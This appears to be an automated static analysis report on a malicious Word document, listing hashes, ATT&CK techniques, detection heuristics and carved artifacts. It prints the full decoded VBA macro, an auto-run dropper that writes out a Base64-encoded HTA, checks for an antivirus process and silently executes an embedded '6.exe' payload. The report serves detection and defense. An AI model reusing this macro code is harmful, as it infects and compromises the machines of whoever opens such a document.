Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 5ef79883fa78daaa…

MALICIOUS

Office (OLE)

212.5 KB Created: 2018-07-31 15:01:00 Authoring application: Microsoft Office Word First seen: 2018-10-07
MD5: 2e7e8c35a842695a5d2b799af9b05578 SHA-1: c84e1bf31d755f816779134f863e131e80f11fb9 SHA-256: 5ef79883fa78daaa2aeba3816f650e6fc5cf69a0f14138adf891b6dfd8999165
878 Risk Score

Malware Insights

MITRE ATT&CK
T1203 Exploitation for Client Execution T1059.005 Visual Basic T1140 Deobfuscate or Obfuscate Malicious Code T1027 Obfuscated Files or Information

The sample exploits CVE-2007-3899 in Microsoft Word, triggering a Document_Open VBA macro. This macro uses WScript.Shell and WMI to execute a Base64-encoded stager, which appears to be a JavaScript HTA payload. The HTA payload is designed to download and execute a second-stage executable, likely '6.exe', and also attempts to terminate 'bdagent.exe'. The presence of an embedded PE executable and Ole10Native package further indicates malicious intent.

Heuristics 22

  • CVE-2007-3899 — Microsoft Word malformed string memory corruption critical CVE likely CVE_2007_3899
    Word OLE document has the MS07-060 malformed-string exploit shape: a Word 97-family FIB points to a malformed DOP/string-table region with an abnormal INT_MAX run, inflated text counters, and exploit payload or Mdropper.Z campaign evidence.
  • Office EPRINT stream contains EMF object high CVE related OLE_EPRINT_EMF_OBJECT
    OLE ObjectPool contains an EPRINT stream with EMF data. This is rare in normal documents and is related Office object-delivery evidence when paired with exploit payload anomalies, but the malformed graphics record required for exact CVE attribution is not proven by this rule alone.
  • XOR-encoded strings (key 0x21) critical SC_XOR_ENCODED
    Found 3 Windows library/API name(s) XOR-encoded with single-byte key 0x21: 'LoadLibraryA', 'GetProcAddress', 'VirtualAlloc'
    Disassembly hidden — these bytes score as data, not coherent x86 code (5/13 branch targets land on an instruction boundary (38% coherence)).
  • Embedded PE executable critical OLE_EMBEDDED_EXE
    MZ/PE header found inside document — possible embedded executable
  • Ole10Native package drops an auto-executable payload critical OFFICE_PACKAGE_RISKY_FILE
    OLE Package displayName or fullPath ends in a directly auto-executable extension (a runnable binary or a script the default shell host runs on double-click). Embedding such a payload inside an Office document has no benign authoring use — it is a malware-delivery dropper.
  • VBA macros detected medium 9 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
      Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.exe", vbHide
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • VBA WMI Win32_Process launcher critical OLE_VBA_WMI_PROCESS_CREATE
    VBA macro builds or references a WMI moniker for Win32_Process and invokes .Create to start a command. This is a high-confidence macro execution chain that often hides the WMI class name through string concatenation or helper functions.
    Matched line in script
    Set myProg = GetObject("winmgmts:")
  • VBA Base64-decoded Shell command stager critical OLE_VBA_BASE64_SHELL_COMMAND_STAGER
    VBA auto-exec macro decodes Base64 string literals into command or script-launch text and executes the result with Shell. This catches cmd/cscript/PowerShell/VBS launchers hidden from plain keyword matching.
    Matched line in script
    Set myProg = GetObject("winmgmts:")
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set wsh = VBA.CreateObject("WScript.Shell")
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set myProg = GetObject("winmgmts:")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Open Environ("Temp") & "\1.hta" For Output As #1
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Reference to LoadLibrary API high SC_STR_LOADLIBRARY
    Reference to LoadLibrary API
  • Reference to GetProcAddress API high SC_STR_GETPROCADDRESS
    Reference to GetProcAddress API
  • Suspicious extracted artifact high EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Reference to VirtualAlloc API medium SC_STR_VIRTUALALLOC
    Reference to VirtualAlloc API
  • Reference to VirtualProtect API medium SC_STR_VIRTUALPROTECT
    Reference to VirtualProtect API
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceEvent#In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
    • http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 4

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4768 bytes
SHA-256: 6bf82dce2a26f4fcf478c00dc5deb7726cfdbd1d2c2487deb592c98223e669d0
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
On Error Resume Next


Call kfs
    


Call sdfsdf

 Set d = New DataObject
    d.SetText " "
    d.PutInClipboard
    Selection.MoveUp Unit:=wdScreen, Count:=7
   Selection.MoveUp Unit:=wdScreen, Count:=7
    Selection.MoveLeft Unit:=wdCharacter, Count:=13

  Dim t As Date
    t = Now
    Do
        DoEvents
    Loop Until Now >= DateAdd("s", 3, t)


Call Module1.killo

End Sub

Private Sub Document_Close()
Call closee

End Sub

Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function

Attribute VB_Name = "Module1"
Sub killo()
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName, FileFormat:=wdFormatXMLDocument
Application.Quit
End Sub

Attribute VB_Name = "Module2"
Sub closee()



Dim myPrC, myProg
Set myProg = GetObject("winmgmts:")
Set myPrC = myProg.ExecQuery("SELECT * FROM Win32_Process")
For Each x In myPrC
Set wsh = VBA.CreateObject("WScript.Shell")
Dim pipec As Boolean: pipec = True


 If x.Name = "bdagent.exe" Then
Open Environ("Temp") & "\1.hta" For Output As #1
  Print #1, StrConv(DecodeBase64("PGh0bWw+DQo8aGVhZD4NCiA8U0NSSVBUIExBTkdVQUdFPSJWQlNjcmlwdCI+DQogICAgICAgICAgV2luZG93Lk1vdmVUbyAtMzIwMDAsIC0zMjAwMA0KICAgICA8L1NDUklQVD4NCiAgICA8dGl0bGU+QXBwbGljYXRpb24gRXhlY3V0ZXI8L3RpdGxlPg0KICAgIDxIVEE6QVBQTElDQVRJT04gSUQ9Im9NeUFwcCIgDQogICAgICAgIEFQUExJQ0FUSU9OTkFNRT0iQXBwbGljYXRpb24gRXhlY3V0ZXIiIA0KICAgICAgICBCT1JERVI9Im5vIg0KICAgICAgICBDQVBUSU9OPSJubyINCiAgICAgICAgU0hPV0lOVEFTS0JBUj0ieWVzIg0KICAgICAgICBTSU5HTEVJTlNUQU5DRT0ieWVzIg0KICAgICAgICBTWVNNRU5VPSJ5ZXMiDQogICAgICAgIFNDUk9MTD0ibm8i"), vbUnicode)
  Print #1, StrConv(DecodeBase64("IFdJTkRPV1NUQVRFPSJub3JtYWwiPg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0IiBsYW5ndWFnZT0iamF2YXNjcmlwdCI+DQogICAgDQogICAgICAgIFdzaFNoZWxsID0gbmV3IEFjdGl2ZVhPYmplY3QoIldTY3JpcHQuU2hlbGwiKTsNCiAgICAgICAgV3NoU2hlbGwuUnVuKCI2LmV4ZSIsIDEsIGZhbHNlKTsNCiAgICAgICAgDQogICAgPC9zY3JpcHQ+DQogPFNDUklQVCBMQU5HVUFHRT0iVkJTY3JpcHQiPg0KICAgICAgICAgIFdpbmRvdy5DbG9zZQ0KICAgICA8L1NDUklQVD4NCjwvaGVhZD4NCjxib2R5Pg0KICAgDQo8L2JvZHk+DQo8L2h0bWw+DQo="), vbUnicode)
  Close #1
  

wsh.Run Environ("Temp") & "\1.hta", 0, False
Exit Sub
   End If
    
   
    If x.Name = "PSUAMain.exe" Then

  Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & "\6.exe", vbHide

Exit Sub
   End If
Next


Shell StrConv(DecodeBase64("Y21kLmV4ZSAvYyAgcGluZyBsb2NhbGhvc3QgLW4gMTAwICYmIA=="), vbUnicode) & Environ(StrConv(DecodeBase64("VGVtcA=="), vbUnicode)) & StrConv(DecodeBase64("XDYucGlm"), vbUnicode), vbHide


End Sub


Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function



Attribute VB_Name = "Module3"
Sub kfs()
Selection.MoveDown Unit:=wdScreen, Count:=7
    Selection.MoveDown Unit:=wdScreen, Count:=7
 Selection.MoveRight Unit:=wdCharacter, Count:=24
    Selection.TypeBackspace
        Selection.Copy

End Sub

Attribute VB_Name = "Module4"
Sub sdfsdf()
ChDir Environ("Temp")
Selection.TypeBackspace

   Dim FSO As Object
Set FSO = CreateObject("scripting.filesystemobject")
    
FSO.copyfile Source:="5C.pif", Destination:="6.exe"
FSO.copyfile Source:="5C.pif", Destination:="6.pif"

End Sub
Private Function DecodeBase64(ByVal strData As String) As Byte()

 

    Dim objXML As MSXML2.DOMDocument
    Dim objNode As MSXML2.IXMLDOMElement
    

    Set objXML = New MSXML2.DOMDocument
    Set objNode = objXML.createElement("b64")
    objNode.dataType = "bin.base64"
    objNode.Text = strData
    DecodeBase64 = objNode.nodeTypedValue
    
    Set objNode = Nothing
    Set objXML = Nothing

 

End Function
embedded_office_00017c66.exe embedded-pe Office MZ+PE at offset 0x17C66 120218 bytes
SHA-256: d749bf17d91c38f0779c352965e1f815f0bc31173db930704cec60396346e56c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Static shellcode analysis recovered command string(s): WScript.Shell Carved macro source contains an auto-exec entry point and execution/download terms.
ole10native_00.bin ole-package OLE Ole10Native stream: ObjectPool/_1594478408/Ole10Native 81172 bytes
SHA-256: 9dad7f675ac3cd198975e8b0c80afa26146020cdbfda3b0e8eeafb030bfc50df
ole10native_00_5C.pif ole-package-payload OLE Ole10Native payload: ObjectPool/_1594478408/Ole10Native; display_name=5C.pif; full_path=C:\Users\win7home\AppData\Local\Temp\5C.pif; temp_path=; def_file= 80896 bytes
SHA-256: 8992f83a467bb306860e8f9fde4a479a3f4bd94b86a86589a4a31bed918d1c51

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